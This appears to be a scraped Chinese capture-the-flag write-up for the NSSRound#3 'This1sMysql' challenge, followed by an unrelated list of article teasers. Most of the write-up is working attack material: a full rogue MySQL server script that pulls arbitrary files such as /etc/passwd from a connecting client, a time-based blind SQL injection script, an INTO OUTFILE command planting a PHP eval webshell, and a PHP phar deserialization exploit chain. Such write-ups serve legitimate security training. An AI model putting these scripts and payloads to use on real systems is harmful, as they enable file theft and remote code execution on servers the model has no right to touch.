[NSSRound#3 Team]This1sMysql

[NSSRound#3 Team]This1sMysql

源码

 <?php
show_source(__FILE__);
include("class.php");
$conn = new mysqli();if(isset($_POST['config']) && is_array($_POST['config'])){foreach($_POST['config'] as $key => $val){$value = is_numeric($var)?(int)$val:$val;$conn->set_opt($key, $value);}
}if(isset($_POST['mysql']) && is_array($_POST['mysql'])){$my = $_POST['mysql'];if($conn->real_connect($my['host'], $my['user'], $my['pass'], $my['dbname'], $my['port'])){echo "connect success";$conn->query("show databases;");}else{echo "connect fail";}}
else{include("function.php");
}$conn->close();
?>

先来看看怎么处理config参数的,首先必须是数组,然后foreach遍历赋值给$val,如果是$var是数字,则$val转换成int型赋值给$value否则按原始值赋值。然后执行set_opt($key, $value)百度了一下,发现是mysqli_options函数的别称

那么我们分析下mysqli_options函数的参数

 public mysqli::options(int $option, string|int $value): bool

刚好对应我们源码中的参数

option是可以修改的选项,注意是int型

在这里插入图片描述

而value是布尔值,这俩参数暂时还不知道如何利用

我们接着往下看,接收参数mysql包括对应键名进行sql数据库连接,可是我们并不知道具体的信息。结合提示Rogue-MySql-Server,去网上搜到可以利用Mysql服务端反向读取客户端的任意文件

当然此原理利用的option是**MYSQLI_OPT_LOCAL_INFILE**。通过题目提供的mysql参数对我们本地机的Mysql服务端进行连接从而反向读取靶机的文件

我们前面分析过了参数config的作用,那么我们只需要开启该option设置为true即可

(我查的是9,但是参考wp中确实排在8)

config[8]=true

用来读取文件的脚本

from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter_rouge_mysql_sever_read_file_result = {}
_rouge_mysql_server_read_file_end = Falsedef checkVersionPy3():return not version_info < (3, 0)def rouge_mysql_sever_read_file(fileName, port, showInfo):if showInfo:log = getLogger(__name__)log.setLevel(INFO)tmp_format = StreamHandler()tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))log.addHandler(tmp_format)def _infoShow(*args):if showInfo:log.info(*args)# ================================================# =======No need to change after this lines=======# ================================================__author__ = 'Gifts'__modify__ = 'Morouu'global _rouge_mysql_sever_read_file_resultclass _LastPacket(Exception):passclass _OutOfOrder(Exception):passclass _MysqlPacket(object):packet_header = Struct('<Hbb')packet_header_long = Struct('<Hbbb')def __init__(self, packet_type, payload):if isinstance(packet_type, _MysqlPacket):self.packet_num = packet_type.packet_num + 1else:self.packet_num = packet_typeself.payload = payloaddef __str__(self):payload_len = len(self.payload)if payload_len < 65536:header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)else:header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)result = "".join((header.decode("latin1") if checkVersionPy3() else header,self.payload))return resultdef __repr__(self):return repr(str(self))@staticmethoddef parse(raw_data):packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])payload = raw_data[1:]return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)class _HttpRequestHandler(async_chat):def __init__(self, addr):async_chat.__init__(self, sock=addr[0])self.addr = addr[1]self.ibuffer = []self.set_terminator(3)self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN","Auth","Data","MoreLength","File"]self.state = self.stateList[0]self.sub_state = self.stateList[1]self.logined = Falseself.file = ""self.push(_MysqlPacket(0,"".join(('\x0a',  # Protocol'5.6.28-0ubuntu0.14.04.1' + '\0','\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',))))self.order = 1self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']def push(self, data):_infoShow('Pushed: %r', data)data = str(data)async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)def collect_incoming_data(self, data):_infoShow('Data recved: %r', data)self.ibuffer.append(data)def found_terminator(self):data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)self.ibuffer = []if self.state == self.stateList[0]:  # LENlen_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1if len_bytes < 65536:self.set_terminator(len_bytes)self.state = self.stateList[2]  # Dataelse:self.state = self.stateList[3]  # MoreLengthelif self.state == self.stateList[3]:  # MoreLengthif (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':self.push(None)self.close_when_done()else:self.state = self.stateList[2]  # Dataelif self.state == self.stateList[2]:  # Datapacket = _MysqlPacket.parse(data)try:if self.order != packet.packet_num:raise _OutOfOrder()else:# Fix ?self.order = packet.packet_num + 2if packet.packet_num == 0:if packet.payload[0] == '\x03':_infoShow('Query')self.set_terminator(3)self.state = self.stateList[0]  # LENself.sub_state = self.stateList[4]  # Fileself.file = fileName.pop(0)# endif len(fileName) == 1:global _rouge_mysql_server_read_file_end_rouge_mysql_server_read_file_end = Trueself.push(_MysqlPacket(packet,'\xFB{0}'.format(self.file)))elif packet.payload[0] == '\x1b':_infoShow('SelectDB')self.push(_MysqlPacket(packet,'\xfe\x00\x00\x02\x00'))raise _LastPacket()elif packet.payload[0] in '\x02':self.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()elif packet.payload == '\x00\x01':self.push(None)self.close_when_done()else:raise ValueError()else:if self.sub_state == self.stateList[4]:  # File_infoShow('-- result')# fileContent_infoShow('Result: %r', data)if len(data) == 1:self.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()else:self.set_terminator(3)self.state = self.stateList[0]  # LENself.order = packet.packet_num + 1global _rouge_mysql_sever_read_file_result_rouge_mysql_sever_read_file_result.update({self.file: data.encode() if not checkVersionPy3() else data})# test# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)self.close_when_done()elif self.sub_state == self.stateList[1]:  # Authself.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()else:_infoShow('-- else')raise ValueError('Unknown packet')except _LastPacket:_infoShow('Last packet')self.state = self.stateList[0]  # LENself.sub_state = Noneself.order = 0self.set_terminator(3)except _OutOfOrder:_infoShow('Out of order')self.push(None)self.close_when_done()else:_infoShow('Unknown state')self.push('None')self.close_when_done()class _MysqlListener(dispatcher):def __init__(self, sock=None):dispatcher.__init__(self, sock)if not sock:self.create_socket(AF_INET, SOCK_STREAM)self.set_reuse_addr()try:self.bind(('', port))except error:exit()self.listen(1)def handle_accept(self):pair = self.accept()if pair is not None:_infoShow('Conn from: %r', pair[1])_HttpRequestHandler(pair)if _rouge_mysql_server_read_file_end:self.close()_MysqlListener()_asyLoop()return _rouge_mysql_sever_read_file_resultif __name__ == '__main__':#fileName=需要读取文件,port=VPS随意开放的端口(注意端口不能为3306,原因为啥我忘了XD#不用在意SQL语句、账户、密码、选用的库,这些并不影响脚本运行for name, content in rouge_mysql_sever_read_file(fileName=["/etc/passwd"], port=1028,showInfo=True).items():print(name + ":\n" + content.decode())

我们只需要修改监听的端口以及读取的文件即可

直接python3 test.py,然后脚本就开启监听

在这里插入图片描述

然后我们POST上传,注意ip和端口是我们内网穿透的

config[8]=true&mysql[host]=5i781963p2.yicp.fun&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=58265

成功读取

在这里插入图片描述

然后我们分别读取class.php和function.php

在这里插入图片描述

写个脚本恢复一下,把\n和转义的\都修改下

<?php
$filename = 'class.txt'; // 替换为要读取的文件路径$code = file_get_contents($filename);
$code = str_replace('\n', "\n", $code);
$code = str_replace('\\', "", $code);$file = 'class.php';
file_put_contents($file, $code);echo "代码已从文件 $filename 中恢复并写入文件:$file";
?>

先看看function.php

<?php
$mysqlpath = isset($_GET['mysqlpath'])?$_GET['mysqlpath']:'mysql.txt';if(!file_exists($mysqlpath)){die("NoNONo!");
}
else{$arr = json_decode(file_get_contents($mysqlpath));if($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)){echo "connect success";}else{echo "connect fail";}
}
?>

有file_get_contents函数可以读取文件

发现mysql.txt,访问一下得到

在这里插入图片描述

再来看看class.php,发现可以利用include去文件包含

<?php
class Upload {public $file;public $filesize;public $date;public $tmp;function __construct(){$this->file = $_FILES;}function __toString(){return $this->file["file"]["name"];}function __get($value){$this->filesize->$value = $this->date;echo $this->tmp;}
}
class Show{public $source;public $str;public $filter;public function __construct($file){$this->source = $file;$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';}public function __toString(){$content = $this->str[0]->source;$content = $this->str[1]->schema;return $content;}public function __get($value){$this->show();return $this->$value;}public function __set($key,$value){$this->$key = $value;}public function show(){$filename = $this->schema . $this->source;include($filename);}public function __wakeup(){if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';}if ($this->source !== 'default.jpg') {$this->source = 'default.jpg';}}
}
class Test{public $test1;public $test2;function __toString(){$str = $this->test2->test;return 'test';}function __get($value){return $this->$value;}function __destruct(){echo $this->test1;}}?>

我们的思路就是上传phar文件,然后利用function.php的参数mysqlpath去phar伪协议读取然后命令执行

可是关键点是我们并不知道flag的位置以及文件名,所以无法直接include包含flag,那么我们尝试写入一句话木马,然后include包含它实现RCE。思路正确的,那么我们先解决注入的目录路径,这里利用option的**MYSQLI_INIT_COMMAND**来执行sql盲注

config[3]=select @@global.secure_file_priv

用于查询MySQL服务器的全局变量secure_file_priv的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILESELECT ... INTO OUTFILE语句的目录。

盲注脚本如下

import requests
import datetime
import stringurl="http://node4.anna.nssctf.cn:28086/"
path_dir=''for i in range(1,50):low = 41high = 130mid = (high + low) // 2while (low < high):payload = f"select if((ascii(substr((select @@global.secure_file_priv),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)data={"config[3]":payload}time1 = datetime.datetime.now()r = requests.post(url, data)time2 = datetime.datetime.now()time = (time2 - time1).secondsif time > 1:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 41 or mid == 130):breakpath_dir += chr(mid)print('目录为:{}'.format(path_dir))

得到目录为/nssctf

在这里插入图片描述

然后利用刚刚得到的数据库信息来写入木马

config[3]=select '<?=eval($_POST[1])?>' into outfile '/nssctf/shell.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

在这里插入图片描述

接下来就是构造phar包,通过into dumpfile上传到/nssctf

pop链子如下

Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()

这里要构造的是include('/nssctf/shell.php');

exp

<?php
class Upload {public $file;public $filesize;public $date;public $tmp;
}
class Show{public $source;public $str;public $filter;
}
class Test{public $test1;public $test2;}$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="shell.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

由于phar文件包含不可见字符,所以我们可以在本地把它转换成十六进制

在这里插入图片描述

然后利用into dump的语法写入二进制文件

语法区别

  • SELECT ... INTO OUTFILE 将查询结果以文本格式写入文件。结果中的每一行对应查询结果的一行,列之间使用制表符分隔。
  • SELECT ... INTO DUMPFILE 将查询结果直接以二进制格式写入文件。结果不会使用制表符或其他分隔符进行格式化。

在这里插入图片描述

最后就是phar读取文件,在env找到flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/598818.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【linux】日志管理和分析

一、概述 在Linux系统的管理和运维中&#xff0c;日志文件起到至关重要的作用。它们记录了系统运行过程中的各种事件&#xff0c;包括系统故障、性能数据和安全事件。 二、 日志的作用和分类 日志的作用 日志文件记载了系统的生命线&#xff0c;利用它们可以&#xff1a; 1…

震惊!原来这就是JavaScript闭包的秘密

&#x1f4e2; 鸿蒙专栏&#xff1a;想学鸿蒙的&#xff0c;冲 &#x1f4e2; C语言专栏&#xff1a;想学C语言的&#xff0c;冲 &#x1f4e2; VUE专栏&#xff1a;想学VUE的&#xff0c;冲这里 &#x1f4e2; CSS专栏&#xff1a;想学CSS的&#xff0c;冲这里 &#x1f4…

硬盘基本知识(磁头、磁道、扇区、柱面)

概述 盘片&#xff08;platter&#xff09; 磁头&#xff08;head&#xff09; 磁道&#xff08;track&#xff09; 扇区&#xff08;sector&#xff09; 柱面&#xff08;cylinder&#xff09; 盘片 片面 和 磁头 硬盘中一般会有多个盘片组成&#xff0c;每个盘片包含两个面…

Eviews 11安装包下载及安装教程

Eviews 11下载链接&#xff1a;https://docs.qq.com/doc/DUmRGdXVUeVBSU1lK 1.选中下载好的安装包&#xff0c;右键解压到“Eviews 11”文件夹 2.选中"Setup.exe"鼠标右键选择以管理员身份运行 3.点击“Next” 4.勾选“I Accept...”&#xff0c;点击“Next” 5.选择…

理解String 及 String.intern() 在实际中的应用

1. 首先String不属于8种基本数据类型&#xff0c;String是一个对象。     因为对象的默认值是null&#xff0c;所以String的默认值也是null&#xff1b;但它又是一种特殊的对象&#xff0c;有其它对象没有的一些特性。   2. new String()和new String(“”)都是申明一个…

记一次 .NET某工控 宇宙射线 导致程序崩溃分析

一&#xff1a;背景 1. 讲故事 为什么要提 宇宙射线, 太阳耀斑 导致的程序崩溃呢&#xff1f;主要是昨天在知乎上看了这篇文章&#xff1a;莫非我遇到了传说中的bug&#xff1f; &#xff0c;由于 rip 中的0x41变成了0x61出现了bit位翻转导致程序崩溃&#xff0c;截图如下&am…

Jenkins接口调用

Jenkins是好用&#xff0c;但是接口文档写的稀烂 1、授权&#xff0c;Jenkins不推荐使用创建单个任务时创建的token&#xff0c;推荐这个用户下的创建user token。 点击自己账号信息&#xff0c;即可创建token。 2、postman选择basic auth&#xff0c;输入账号密码&#xff0…

CentOS 7 基于官方源码和openssl制作openssh 9.6 rpm包(含ssh-copy-id) —— 筑梦之路

之前写了一篇&#xff1a; CentOS 7 制作openssh 9.6 rpm包更新修复安全漏洞 —— 筑梦之路_升级openssh9.6-CSDN博客 有好几个网友反馈&#xff0c;ssh-keygen生成密钥存在问题&#xff0c;之前的rsa \ dsa加密算法用不了&#xff0c;因此写了一篇&#xff1a; 关于openssh…

nginx 二、配置域名

文章目录 一、配置本地域名查看虚拟机ip修改hosts文件测试域名是否配置成功 二、配置aliyun域名三、实践1.创建html2.配置nginx3.测试服务器内部测试页面测试 总结 docker中启动nginx容器完成如下操作&#xff0c;对于docker安装nginx可以看这篇文章 nginx 一、安装与conf浅析 …

Linux上搭建YApi

YApi是http接口管理和测试的重要工具&#xff0c;其作用相当于原来用的postman&#xff0c;但是比postman有更多的功能&#xff0c;本篇文章主要介绍如何在linux环境中快速的安装&#xff08;利用yum命令安装&#xff09;和部署YApi 一、nodejs 安装 1.1 下载nodejs包 yum i…

Harbor配置同步规则删除不掉

【问题原因】 harbor上主从两个仓库&#xff0c;配置同步规则时&#xff0c;定时任务配置太频繁&#xff0c;导致规则修改&#xff0c;删除都失败。 【问题现象】 点击修改后保存&#xff0c;页面报internal server error的错。 【问题排查】 docker ps | grep harbor 查看…

仓库管理软件有哪些比较好用?

“仓库管理软件有哪些比较好用&#xff1f;” “好用&#xff0c;却不一定适合。” 有时候&#xff0c;不是某个仓库管理软件不好用&#xff0c;而是它不适合你们企业。 制造业企业的仓库管理场景&#xff0c;随着制造业企业规模的扩大&#xff0c;逐步精细化&#xff0c;企…

JAVA基础学习笔记-day12-泛型

JAVA基础学习笔记-day12-泛型 1. 泛型概述1.1 泛型的引入 2. 使用泛型举例2.1 集合中使用泛型2.2 相关使用说明 3. 自定义泛型结构3.1 泛型的基础说明3.2 自定义泛型类或泛型接口3.2.1 说明3.2.2 注意 3.3 自定义泛型方法3.3.1 说明 4. 泛型在继承上的体现5. 通配符的使用5.1 通…

C语言KR圣经笔记 5.6指针数组;指针的指针

5.6 指针数组&#xff1b;指针的指针 因为指针本身也是变量&#xff0c;所以它们也能像其他变量一样保存在数组里面。我们写个程序来说明&#xff0c;该程序将一些文本行按照字母顺序排列&#xff0c;算是 UNIX 程序 sort 的精简版本。 在第三章中&#xff0c;我们介绍了对一…

10-链表-删除排序链表中的重复元素 II

这是链表的第10篇算法&#xff0c;这是上一篇文章的加强版&#xff0c;力扣链接。 给定一个已排序的链表的头 head &#xff0c; 删除原始链表中所有重复数字的节点&#xff0c;只留下不同的数字 。返回 已排序的链表 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,3,4,…

Facebook选品方法大揭秘,这几个最畅销类目别错过!

现在越来越多的卖家开始做社媒电商&#xff0c;其中很多人都想在 Facebook 这个平台上分一杯羹&#xff0c;而 Facebook选品对于这些商家来说非常重要。俗话说&#xff0c;七分靠选品&#xff0c;三分靠运营&#xff0c;想成功入局 Facebook&#xff0c;选品选的好&#xff0c…

肠道重要属——芽孢杆菌属,益生与病原双标签

谷禾健康 芽孢杆菌属&#xff08;Bacillus&#xff09;是革兰氏阳性、杆状、芽孢杆菌科细菌的一个属&#xff0c;属于厚壁菌门。 芽孢杆菌属物种可以是专性需氧微生物(依赖氧气)或兼性厌氧微生物(具有需氧或厌氧的能力)。当使用或存在氧气时&#xff0c;它们的过氧化氢酶检测呈…

Stable Diffusion汉化插件

今天为大家介绍Stable Diffusion的两种UI汉化包&#xff0c;一种是汉化包&#xff0c;就中文界面&#xff0c;方便大家对于繁杂的参数的模型的操作&#xff0c;一种是中英文对照界面&#xff0c;在中文提示下&#xff0c;同时显示英文&#xff0c;不但方便设置也同时学习了英文…

MySQL进阶篇(一)存储引擎

一、MySQL 体系结构 &#xff08;1&#xff09; 连接层 最上层是一些客户端和链接服务&#xff0c;包含本地 sock 通信和大多数基于客户端/服务端工具实现的类似于TCP/IP的通信。主要完成一些类似于连接处理、授权认证、及相关的安全方案。在该层上引入了线程池的概念&#xff…

如何通过内网穿透实现无公网IP远程访问内网的Linux宝塔面板

文章目录 一、使用官网一键安装命令安装宝塔二、简单配置宝塔&#xff0c;内网穿透三、使用固定公网地址访问宝塔 正文开始前给大家推荐个网站&#xff0c;前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。…